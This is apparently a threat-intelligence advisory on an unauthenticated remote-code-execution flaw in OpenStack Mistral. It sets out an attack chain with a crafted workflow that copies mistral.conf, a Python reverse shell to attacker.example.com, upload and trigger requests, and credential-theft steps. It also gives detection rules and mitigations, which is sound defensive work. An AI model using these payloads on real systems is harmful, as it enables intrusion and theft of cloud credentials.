CVE-2026-41283

Executive Summary

CVE-2026-41283 is a critical arbitrary remote code execution (RCE) vulnerability in OpenStack Mistral, the workflow-as-a-service component, affecting all versions through 22.0.0. The flaw resides in exposed API endpoints that permit unauthenticated code execution, enabling attackers to exfiltrate service credentials stored within the Mistral deployment. With a CVSS score of 9.9, successful exploitation grants full remote control of the underlying service account, representing a severe supply-chain level risk to any OpenStack environment exposing the Mistral API — whether inadvertently or by design.

Technical Analysis

OpenStack Mistral is a workflow orchestration service that manages task execution, typically leveraging action providers (e.g., SSH, HTTP, or custom Python actions) to perform operations across a cloud infrastructure. The vulnerability specifically targets the action execution and workflow definition APIs, which are designed to accept arbitrary code definitions — such as Python snippets — that the Mistral engine then executes on its worker nodes.

The root cause is an improper access control check (CWE-863) on API endpoints responsible for creating, updating, or importing workflow definitions and custom action providers. In affected versions, these endpoints do not enforce authentication or authorization when the API is exposed to a network that is not explicitly trusted. An attacker who can reach the Mistral API (typically bound to port 8989) can submit a crafted workflow definition containing a Python action that executes arbitrary system commands on the underlying host.

The attack does not require any special privileges or prior knowledge of the environment. The Mistral service typically runs under a dedicated system account (e.g., mistral) that has broad access to cloud service credentials stored in configuration files (/etc/mistral/), environment variables, or Keystone-vaulted secrets — making the resulting exfiltration of credentials a high-confidence post-exploitation step.

Exploitation is trivially reproducible: the vulnerable API endpoint POST /v2/workflows (or /v2/executions) accepts a JSON payload defining an action. This action can be a raw Python snippet that calls os.system() or establishes a reverse shell. Because access control is missing, a single crafted HTTP request is sufficient to trigger code execution.

Exploitation Scenarios

The following is a concrete attack chain for CVE-2026-41283, assuming a publicly reachable or network-exposed Mistral API endpoint.

Step 1 — Reconnaissance and Target Identification

An attacker scans for OpenStack Mistral services using network scanning tools or Shodan. The service listens on TCP port 8989 by default. Fingerprinting is done by sending a GET /v2/ request — a valid OpenStack Mistral endpoint returns JSON with available API versions. Alternatively, the GET /v2/workflows?limit=1 response reveals the service type.

Step 2 — Crafting the Malicious Workflow

The attacker crafts a JSON payload that defines a workflow named evil_workflow with a single task. The task invokes a direct Python action that executes a command on the server. A minimal example:

{
  "name": "evil_workflow",
  "tasks": {
    "pwn": {
      "action": "std.python script='import os; os.system(\"cat /etc/mistral/mistral.conf > /tmp/creds;\")'"
    }
  }
}

More destructive payloads include a reverse shell:

python script='import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker.example.com",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])'

Step 3 — Upload and Trigger Execution

The attacker uploads the workflow via the vulnerable endpoint:

POST /v2/workflows
Content-Type: application/json
{ "definition": "<YAML definition from Step 2>" }

If the upload succeeds, the attacker creates an execution:

POST /v2/executions
{ "workflow_name": "evil_workflow", "input": {} }

The Mistral engine schedules the workflow, and a worker node executes the Python action.

Step 4 — Post-Exploitation and Credential Exfiltration

Once command execution is achieved, the attacker:

1. Reads /etc/mistral/mistral.conf to obtain database and messaging connection strings (typically including a password).
2. Reads /etc/keystone/keystone.conf or environment-specific credential files (e.g., clouds.yaml, os-client-config).
3. Exfiltrates data via HTTP POST to a C2 server or via DNS over HTTPS using curl or python requests.
4. Uses mistral to execute additional workflows that invoke OpenStack SDK actions (e.g., nova.boot, neutron.create_network) to enable lateral movement into the broader cloud tenant.

The entire chain — from upload to credential exfiltration — can occur in under 60 seconds with a single HTTP request required for initial compromise.

Impact Assessment

CVSS Vector and Breakdown:

• Attack Vector: Network (AV:N) — No physical or local access required.
• Attack Complexity: Low (AC:L) — No specialized conditions or race conditions; a single HTTP request suffices.
• Privileges Required: None (PR:N) — The vulnerable endpoints do not enforce authentication when exposed.
• User Interaction: None (UI:N) — No victim interaction needed.
• Scope: Changed (S:C) — Compromise of the Mistral service cascades to the broader OpenStack cloud environment.
• Confidentiality/Integrity/Availability Impact: High (C:H/I:H/A:H) — Full read/write/execute access to the host and connected services.

Business Impact:

• Credential Compromise: The Mistral service account often has broad Keystone roles (e.g., admin) to orchestrate workflows across the cloud, meaning stolen credentials grant control over tenants, VMs, storage, and networking.
• Data Breach: Exfiltration of configuration files containing database passwords, message-bus credentials, and API keys exposes ancillary infrastructure.
• Service Disruption: An attacker can terminate workflows, delete workflow definitions, or launch denial-of-service attacks against the orchestration engine.
• Supply Chain Risk: If Mistral is used to orchestrate CI/CD or data pipelines, a compromised instance can inject malicious artifacts downstream.

Affected Systems:

• All OpenStack releases that ship Mistral up to and including 22.0.0 (Caracal). This includes both production clouds and test/staging environments that expose the API on any network interface other than loopback.

Detection Guidance

Sigma Rule

title: OpenStack Mistral CVE-2026-41283 - Unauthorized Workflow Upload
id: a7d3e2f1-9b4c-4c5d-8e6f-1a2b3c4d5e6f
status: experimental
description: Detects unauthorized attempts to upload workflow definitions to OpenStack Mistral API, potentially exploiting CVE-2026-41283.
author: Valtersit Threat Intelligence
logsource:
  category: webserver
  product: apache
  definition: 'Provides access to Mistral API logs'
detection:
  selection_http_method:
    cs-method: 'POST'
  selection_uri:
    cs-uri-stem|contains:
      - '/v2/workflows'
      - '/v2/workflow_definitions'
  selection_no_auth:
    - sc-status: 200
    - cs-username: '-'
  condition: selection_http_method and selection_uri and selection_no_auth
  timeframe: 1m
level: critical
falsepositives:
  - Legitimate admin uploads from trusted hosts (will show authenticated user context)

YARA Rule

rule OpenStack_Mistral_CVE_2026_41283_Exploit
{
    meta:
        author = "Valtersit Threat Intelligence"
        description = "Detect exploit payloads targeting CVE-2026-41283 in OpenStack Mistral"
        date = "2026-05-15"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-41283"
        score = 90
    strings:
        $ws1 = "std.python" ascii wide
        $ws2 = "workflow_definition" ascii wide
        $ws3 = "os.system" ascii wide
        $ws4 = "subprocess" ascii wide
        $ws5 = "socket.socket" ascii wide
        $ws6 = "\\\"definition\\\"" ascii wide
        $ws7 = "mistral.conf" ascii wide
        $ws8 = "keystone" ascii wide
    condition:
        filesize < 100KB and 
        ( 2 of ($ws*) ) and 
        ( #ws1 >= 1 or #ws2 >= 1 )
}

Suricata IDS Rule

alert http any any -> any any (msg:"ET EXPLOIT OpenStack Mistral CVE-2026-41283 RCE Attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/v2/workflows"; nocase; http.request_body; content:"std.python"; nocase; http.request_body; content:"os.system"; nocase; classtype:attempted-admin; sid:202641283; rev:1; metadata:created_at 2026-05-15, updated_at 2026-05-15, cve CVE-2026-41283;)

Elastic Detection

sequence by host.name with maxspan=5s
  [network where destination.port == 8989 and network.direction == "ingress" and network.protocol == "http"]
  [http where http.request.method == "POST" and
     (http.request.uri contains "/v2/workflows" or http.request.uri contains "/v2/exections") and
     (http.request.body.text contains "std.python" or http.request.body.text contains "script=") and
     not http.request.referrer contains "trusted-admin-console"
  ]

Splunk SPL Query

index=proxy OR index=web sourcetype="access_combined" 
| where match(_raw, "POST /v2/workflows") 
| search *python* OR *script=* OR *os.system* 
| table _time, src_ip, dest_ip, uri_path, uri_query, http_method, http_user_agent
| eval threat = if(match(uri_query, "python|script=|os.system"), "CRITICAL - Potential CVE-2026-41283 RCE", "Monitor")
| search threat="CRITICAL - Potential CVE-2026-41283 RCE"

Wazuh OSSEC Rule

<group name="openstack,mistral,">
  <rule id="100283" level="15">
    <decoded_as>json</decoded_as>
    <field name="url">\./v2/workflows</field>
    <field name="method">POST</field>
    <description>OpenStack Mistral CVE-2026-41283 - Unauthorized workflow upload detected</description>
    <group>attack_rce</group>
    <mitre>
      <id>T1210</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 3/4 (LIKELY — 2 independent sources: OSV and Debian confirm a fix exists in upstream.)

Immediate Mitigations (Do These First):

1. Restrict API Exposures: If Mistral does not need to be network-reachable, bind it solely to localhost by setting the bind_host and bind_port in /etc/mistral/mistral.conf to 127.0.0.1, and add a firewall rule to block external access to port 8989.
2. Enable Authentication Immediately: Set auth_enable = True in the Mistral config to force Keystone token validation on all API endpoints. This neutralizes the unauthenticated access vector even if the API is exposed.
3. Apply Network Segmentation: Place Mistral behind a private VLAN inaccessible from the public internet, and isolate it from other cloud management nodes so that a compromise does not directly expose control-plane credentials.

Patch/Upgrade Steps:

1. Check your current Mistral version: mistral --version or via the API GET /v2/ response headers.
2. Upgrade to the latest patched release available from your OpenStack distribution (e.g., Ubuntu/Debian package, RDO, or upstream master). The fix is present in releases after 22.0.0; refer to your distribution's security advisory.
3. For containerized deployments (e.g., Helm charts, Kolla-Ansible), update the Mistral image to a patched tag.
4. After patching, verify the fix by attempting to upload a workflow without an authentication token — the API must return a 401 Unauthorized response.

Long-Term Hardening:

• Enforce Multi-Factor Authentication: Require Keystone tokens backed by MFA for all Mistral API interactions.
• Credential Rotation: After patching, rotate all service passwords and application credentials that were accessible to the Mistral service account, as they may have been exfiltrated in prior exploitation.
• Audit Workflow Definitions: Implement a review process for any workflow definitions that include inline Python actions, and prefer using pre-approved action providers registered via trusted CloudFormation/TOSCA templates.
• Continuous Monitoring: Deploy the detection rules provided in this report at a SIEM level, and consider honeypotting the Mistral API to alert on any unauthenticated reach.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-41283
2. OpenStack Security Advisory (via OSV): https://osv.dev/vulnerability/CVE-2026-41283
3. Debian Security Tracker: https://security-tracker.debian.org/tracker/CVE-2026-41283
4. OpenStack Mistral Documentation (Workflow Definition Reference): https://docs.openstack.org/mistral/latest/
5. Shodan Search Reference (typical Mistral exposure): port:8989 "Mistral"

Threat Actor Activity: No active exploit-in-the-wild or known threat actor campaigns have been publicly attributed to this CVE as of the writing date. However, the EPSS score of 0.00733 (50.8th percentile) indicates a moderate probability of eventual exploitation, and the simplicity of the attack combined with the critical impact suggests prioritization is warranted. Given the pattern of similar OpenStack API flaws, automated scanning for exposed Mistral endpoints is an expected initial attack vector.